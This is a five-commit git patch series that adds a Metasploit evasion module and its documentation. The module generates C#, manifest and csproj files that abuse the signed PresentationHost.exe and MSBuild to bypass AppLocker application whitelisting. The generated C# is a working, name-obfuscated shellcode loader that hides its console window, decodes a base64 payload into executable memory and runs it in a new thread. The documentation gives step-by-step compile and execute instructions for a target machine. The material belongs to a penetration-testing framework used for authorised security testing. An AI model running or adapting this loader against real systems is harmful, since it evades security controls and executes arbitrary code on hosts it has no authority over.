From c8050adab2b7b71e22fdc0beb3a2b67fda2bff9b Mon Sep 17 00:00:00 2001 From: NickTyrer Date: Thu, 1 Aug 2019 08:40:30 +0100 Subject: [PATCH 1/5] add module applocker_evasion_presentationhost --- .../applocker_evasion_presentationhost.rb | 167 ++++++++++++++++++ 1 file changed, 167 insertions(+) create mode 100644 modules/evasion/windows/applocker_evasion_presentationhost.rb diff --git a/modules/evasion/windows/applocker_evasion_presentationhost.rb b/modules/evasion/windows/applocker_evasion_presentationhost.rb new file mode 100644 index 000000000000..e2c57f06e796 --- /dev/null +++ b/modules/evasion/windows/applocker_evasion_presentationhost.rb @@ -0,0 +1,167 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Evasion + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Applocker Evasion - Windows Presentation Foundation Host', + 'Description' => %( + This module will assist you in evading Microsoft + Windows Applocker and Software Restriction Policies. + This technique utilises the Microsoft signed binary + PresentationHost.exe to execute user supplied code. + ), + 'Author' => + [ + 'Nick Tyrer <@NickTyrer>', # module development + 'Casey Smith' # presentationhost bypass research + ], + 'License' => 'MSF_LICENSE', + 'Platform' => 'win', + 'Arch' => [ARCH_X86], + 'Targets' => [['Microsoft Windows', {}]]) + ) + + register_options( + [ + OptString.new('FILE_ONE', [true, 'Filename for the .xaml.cs file (default: presentationhost.xaml.cs)', 'presentationhost.xaml.cs']), + OptString.new('FILE_TWO', [true, 'Filename for the .manifest file (default: presentationhost.manifest)', 'presentationhost.manifest']), + OptString.new('FILE_THREE', [true, 'Filename for the .csproj file (default: presentationhost.csproj)', 'presentationhost.csproj']) + ] + ) + + deregister_options('FILENAME') + end + + def build_payload + Rex::Text.encode_base64(payload.encoded) + end + + def obfu + Rex::Text.rand_text_alpha 8 + end + + def presentationhost_xaml_cs + esc = build_payload + mod = [obfu, obfu, obfu, obfu, obfu, obfu, obfu, obfu, obfu, obfu, obfu] + <<~HEREDOC + using System; + class #{mod[0]}{ + static void Main(string[] args){ + IntPtr #{mod[1]}; + #{mod[1]} = GetConsoleWindow(); + ShowWindow(#{mod[1]}, #{mod[2]}); + string #{mod[3]} = "#{esc}"; + byte[] #{mod[4]} = Convert.FromBase64String(#{mod[3]}); + byte[] #{mod[5]} = #{mod[4]}; + IntPtr #{mod[6]} = VirtualAlloc(IntPtr.Zero, (UIntPtr)#{mod[5]}.Length, #{mod[7]}, #{mod[8]}); + System.Runtime.InteropServices.Marshal.Copy(#{mod[5]}, 0, #{mod[6]}, #{mod[5]}.Length); + IntPtr #{mod[9]} = IntPtr.Zero; + WaitForSingleObject(CreateThread(#{mod[9]}, UIntPtr.Zero, #{mod[6]}, #{mod[9]}, 0, ref #{mod[9]}), #{mod[10]});} + private static Int32 #{mod[7]}=0x1000; + private static IntPtr #{mod[8]}=(IntPtr)0x40; + private static UInt32 #{mod[10]} = 0xFFFFFFFF; + [System.Runtime.InteropServices.DllImport("kernel32")] + private static extern IntPtr VirtualAlloc(IntPtr a, UIntPtr s, Int32 t, IntPtr p); + [System.Runtime.InteropServices.DllImport("kernel32")] + private static extern IntPtr CreateThread(IntPtr att, UIntPtr st, IntPtr sa, IntPtr p, Int32 c, ref IntPtr id); + [System.Runtime.InteropServices.DllImport("kernel32")] + private static extern UInt32 WaitForSingleObject(IntPtr h, UInt32 ms); + [System.Runtime.InteropServices.DllImport("user32.dll")] + static extern bool ShowWindow(IntPtr #{mod[1]}, int nCmdShow); + [System.Runtime.InteropServices.DllImport("Kernel32")] + private static extern IntPtr GetConsoleWindow(); + const int #{mod[2]} = 0;} + HEREDOC + end + + def presentationhost_manifest + <<~HEREDOC + + + + + + + + + + + + + + + + HEREDOC + end + + def presentationhost_csproj + <<~HEREDOC + + + + + Release + AnyCPU + WinExe + true + true + false + + + true + . + + + + + + + #{datastore['FILE_ONE']} + Code + + + + + + + + HEREDOC + end + + def file_format_filename(name = '') + name.empty? ? @fname : @fname = name + end + + def create_files + f1 = datastore['FILE_ONE'].empty? ? 'presentationhost.xaml.cs' : datastore['FILE_ONE'] + f1 << '.xaml.cs' unless f1.downcase.end_with?('.xaml.cs') + f2 = datastore['FILE_TWO'].empty? ? 'presentationhost.manifest' : datastore['FILE_TWO'] + f2 << '.manifest' unless f2.downcase.end_with?('.manifest') + f3 = datastore['FILE_THREE'].empty? ? 'presentationhost.csproj' : datastore['FILE_THREE'] + f3 << '.csproj' unless f3.downcase.end_with?('.csproj') + file1 = presentationhost_xaml_cs + file2 = presentationhost_manifest + file3 = presentationhost_csproj + file_format_filename(f1) + file_create(file1) + file_format_filename(f2) + file_create(file2) + file_format_filename(f3) + file_create(file3) + end + + def instructions + print_status "Copy #{datastore['FILE_ONE']}, #{datastore['FILE_TWO']} and #{datastore['FILE_THREE']} to the target" + print_status "Compile using: C:\\Windows\\Microsoft.Net\\Framework\\[.NET Version]\\MSBuild.exe #{datastore['FILE_THREE']}" + print_status "Execute using: C:\\Windows\\System32\\PresentationHost.exe [Full Path To] #{datastore['FILE_ONE'].gsub('.xaml.cs', '.xbap')}" + end + + def run + create_files + instructions + end +end From 107bb3e9ff89e95b18c7fb20b121fea427bb63f5 Mon Sep 17 00:00:00 2001 From: NickTyrer Date: Thu, 1 Aug 2019 09:06:35 +0100 Subject: [PATCH 2/5] add documentation --- .../applocker_evasion_presentationhost.md | 34 +++++++++++++++++++ 1 file changed, 34 insertions(+) create mode 100644 documentation/modules/evasion/windows/applocker_evasion_presentationhost.md diff --git a/documentation/modules/evasion/windows/applocker_evasion_presentationhost.md b/documentation/modules/evasion/windows/applocker_evasion_presentationhost.md new file mode 100644 index 000000000000..5fa2b91b6722 --- /dev/null +++ b/documentation/modules/evasion/windows/applocker_evasion_presentationhost.md @@ -0,0 +1,34 @@ +## Intro + +This module is designed to evade solutions such as software restriction policies and Applocker. +Applocker in its default configuration will block code in the form of executables (.exe and .com, .msi), scripts (.ps1, .vbs, .js) and dll's from running in user controlled directories. +Applocker enforces this by employing whitelisting, in that code can only be run from the protected directories and sub directories of "Program Files" and "Windows" +The main vector for this bypass is to use the trusted binary PresentationHost.exe to execute user supplied code as this binary is located within the trusted Windows directory. + +## Vulnerable Application + +This evasion will work on all versions of Windows that include .NET versions 3.5 or greater that has solutions such as Applocker or Software Restriction Policies active, that do not explicitly block PresentationHost.exe. + +## Options + +- **FILE_ONE** - Filename for the evasive file (default: presentationhost.xaml.cs). +- **FILE_TWO** - Filename for the evasive file (default: presentationhost.manifest). +- **FILE_THREE** - Filename for the evasive file (default: presentationhost.csproj). + +## Verification Steps + + 1. Start `msfconsole` + 2. Do: `use evasion/windows/applocker_evasion_presentationhost` + 3. Do: `set PAYLOAD ` (note: only x86 payloads are supported by this module) + 4. Do: `run` + 5. The module will now display instructions of how to proceed + 6. `[+] presentationhost.xaml.cs stored at /root/.msf4/local/presentationhost.xaml.cs` + 7. `[+] presentationhost.manifest stored at /root/.msf4/local/presentationhost.manifest` + 8. `[+] presentationhost.csproj stored at /root/.msf4/local/presentationhost.csproj` + 9. `[*] Copy presentationhost.xaml.cs, presentationhost.manifest and presentationhost.csproj to the target` + 8. `[*] Compile using: C:\Windows\Microsoft.Net\Framework\[.NET Version]\MSBuild.exe presentationhost.csproj` replace [.NET Version] with the version directory present on the target (typically "v4.0.30319"). + 9. `[*] Execute using: C:\Windows\System32\PresentationHost.exe [Full Path To] presentationhost.xbap` replace [.NET Version] with the version directory present on the target (typically "v4.0.30319") and replace [Full Path To] with the full path to the .xbap. + +## References + +https://medium.com/tsscyber/applocker-bypass-presentationhost-exe-8c87b2354cd4 From af5e071abe15377b44b67c128f9d5749bf330037 Mon Sep 17 00:00:00 2001 From: NickTyrer Date: Thu, 1 Aug 2019 20:46:09 +0100 Subject: [PATCH 3/5] update documentation --- .../evasion/windows/applocker_evasion_presentationhost.md | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/documentation/modules/evasion/windows/applocker_evasion_presentationhost.md b/documentation/modules/evasion/windows/applocker_evasion_presentationhost.md index 5fa2b91b6722..7e11b32433c4 100644 --- a/documentation/modules/evasion/windows/applocker_evasion_presentationhost.md +++ b/documentation/modules/evasion/windows/applocker_evasion_presentationhost.md @@ -26,9 +26,11 @@ This evasion will work on all versions of Windows that include .NET versions 3.5 7. `[+] presentationhost.manifest stored at /root/.msf4/local/presentationhost.manifest` 8. `[+] presentationhost.csproj stored at /root/.msf4/local/presentationhost.csproj` 9. `[*] Copy presentationhost.xaml.cs, presentationhost.manifest and presentationhost.csproj to the target` - 8. `[*] Compile using: C:\Windows\Microsoft.Net\Framework\[.NET Version]\MSBuild.exe presentationhost.csproj` replace [.NET Version] with the version directory present on the target (typically "v4.0.30319"). - 9. `[*] Execute using: C:\Windows\System32\PresentationHost.exe [Full Path To] presentationhost.xbap` replace [.NET Version] with the version directory present on the target (typically "v4.0.30319") and replace [Full Path To] with the full path to the .xbap. + 10. `[*] Compile using: C:\Windows\Microsoft.Net\Framework\[.NET Version]\MSBuild.exe presentationhost.csproj` replace [.NET Version] with the version directory present on the target (typically "v4.0.30319"). + 11. `[*] Execute using: C:\Windows\System32\PresentationHost.exe [Full Path To] presentationhost.xbap` replace [.NET Version] with the version directory present on the target (typically "v4.0.30319") and replace [Full Path To] with the full path to the .xbap. ## References https://medium.com/tsscyber/applocker-bypass-presentationhost-exe-8c87b2354cd4 +https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/applocker/what-is-applocker +https://docs.microsoft.com/en-us/windows-server/identity/software-restriction-policies/software-restriction-policies From f675a974a6757640f791f1d6ba1236de0aa020b3 Mon Sep 17 00:00:00 2001 From: NickTyrer Date: Fri, 2 Aug 2019 16:29:08 +0100 Subject: [PATCH 4/5] implement changes suggested by @cbrnrd --- .../applocker_evasion_presentationhost.md | 6 ++-- .../applocker_evasion_presentationhost.rb | 36 +++++++++---------- 2 files changed, 21 insertions(+), 21 deletions(-) diff --git a/documentation/modules/evasion/windows/applocker_evasion_presentationhost.md b/documentation/modules/evasion/windows/applocker_evasion_presentationhost.md index 7e11b32433c4..35560054c2b3 100644 --- a/documentation/modules/evasion/windows/applocker_evasion_presentationhost.md +++ b/documentation/modules/evasion/windows/applocker_evasion_presentationhost.md @@ -11,9 +11,9 @@ This evasion will work on all versions of Windows that include .NET versions 3.5 ## Options -- **FILE_ONE** - Filename for the evasive file (default: presentationhost.xaml.cs). -- **FILE_TWO** - Filename for the evasive file (default: presentationhost.manifest). -- **FILE_THREE** - Filename for the evasive file (default: presentationhost.csproj). +- **CS_FILE** - Filename for the evasive file (default: presentationhost.xaml.cs). +- **MANIFEST_FILE** - Filename for the evasive file (default: presentationhost.manifest). +- **CSPROJ_FILE** - Filename for the evasive file (default: presentationhost.csproj). ## Verification Steps diff --git a/modules/evasion/windows/applocker_evasion_presentationhost.rb b/modules/evasion/windows/applocker_evasion_presentationhost.rb index e2c57f06e796..cec707c46adb 100644 --- a/modules/evasion/windows/applocker_evasion_presentationhost.rb +++ b/modules/evasion/windows/applocker_evasion_presentationhost.rb @@ -27,9 +27,9 @@ def initialize(info = {}) register_options( [ - OptString.new('FILE_ONE', [true, 'Filename for the .xaml.cs file (default: presentationhost.xaml.cs)', 'presentationhost.xaml.cs']), - OptString.new('FILE_TWO', [true, 'Filename for the .manifest file (default: presentationhost.manifest)', 'presentationhost.manifest']), - OptString.new('FILE_THREE', [true, 'Filename for the .csproj file (default: presentationhost.csproj)', 'presentationhost.csproj']) + OptString.new('CS_FILE', [true, 'Filename for the .xaml.cs file (default: presentationhost.xaml.cs)', 'presentationhost.xaml.cs']), + OptString.new('MANIFEST_FILE', [true, 'Filename for the .manifest file (default: presentationhost.manifest)', 'presentationhost.manifest']), + OptString.new('CSPROJ_FILE', [true, 'Filename for the .csproj file (default: presentationhost.csproj)', 'presentationhost.csproj']) ] ) @@ -119,13 +119,13 @@ def presentationhost_csproj - - #{datastore['FILE_ONE']} + + #{datastore['CS_FILE']} Code - + @@ -137,27 +137,27 @@ def file_format_filename(name = '') end def create_files - f1 = datastore['FILE_ONE'].empty? ? 'presentationhost.xaml.cs' : datastore['FILE_ONE'] + f1 = datastore['CS_FILE'].empty? ? 'presentationhost.xaml.cs' : datastore['CS_FILE'] f1 << '.xaml.cs' unless f1.downcase.end_with?('.xaml.cs') - f2 = datastore['FILE_TWO'].empty? ? 'presentationhost.manifest' : datastore['FILE_TWO'] + f2 = datastore['MANIFEST_FILE'].empty? ? 'presentationhost.manifest' : datastore['MANIFEST_FILE'] f2 << '.manifest' unless f2.downcase.end_with?('.manifest') - f3 = datastore['FILE_THREE'].empty? ? 'presentationhost.csproj' : datastore['FILE_THREE'] + f3 = datastore['CSPROJ_FILE'].empty? ? 'presentationhost.csproj' : datastore['CSPROJ_FILE'] f3 << '.csproj' unless f3.downcase.end_with?('.csproj') - file1 = presentationhost_xaml_cs - file2 = presentationhost_manifest - file3 = presentationhost_csproj + cs_file = presentationhost_xaml_cs + manifest_file = presentationhost_manifest + csproj_file = presentationhost_csproj file_format_filename(f1) - file_create(file1) + file_create(cs_file) file_format_filename(f2) - file_create(file2) + file_create(manifest_file) file_format_filename(f3) - file_create(file3) + file_create(csproj_file) end def instructions - print_status "Copy #{datastore['FILE_ONE']}, #{datastore['FILE_TWO']} and #{datastore['FILE_THREE']} to the target" - print_status "Compile using: C:\\Windows\\Microsoft.Net\\Framework\\[.NET Version]\\MSBuild.exe #{datastore['FILE_THREE']}" - print_status "Execute using: C:\\Windows\\System32\\PresentationHost.exe [Full Path To] #{datastore['FILE_ONE'].gsub('.xaml.cs', '.xbap')}" + print_status "Copy #{datastore['CS_FILE']}, #{datastore['MANIFEST_FILE']} and #{datastore['CSPROJ_FILE']} to the target" + print_status "Compile using: C:\\Windows\\Microsoft.Net\\Framework\\[.NET Version]\\MSBuild.exe #{datastore['CSPROJ_FILE']}" + print_status "Execute using: C:\\Windows\\System32\\PresentationHost.exe [Full Path To] #{datastore['CS_FILE'].gsub('.xaml.cs', '.xbap')}" end def run From 61a1abab798aedd3f35a0f1a5cc2a9ab55fa7978 Mon Sep 17 00:00:00 2001 From: NickTyrer Date: Sat, 3 Aug 2019 10:41:13 +0100 Subject: [PATCH 5/5] update csproj arch targeting --- modules/evasion/windows/applocker_evasion_presentationhost.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/evasion/windows/applocker_evasion_presentationhost.rb b/modules/evasion/windows/applocker_evasion_presentationhost.rb index cec707c46adb..550468c4a24a 100644 --- a/modules/evasion/windows/applocker_evasion_presentationhost.rb +++ b/modules/evasion/windows/applocker_evasion_presentationhost.rb @@ -105,13 +105,13 @@ def presentationhost_csproj Release - AnyCPU + x86 WinExe true true false - + true .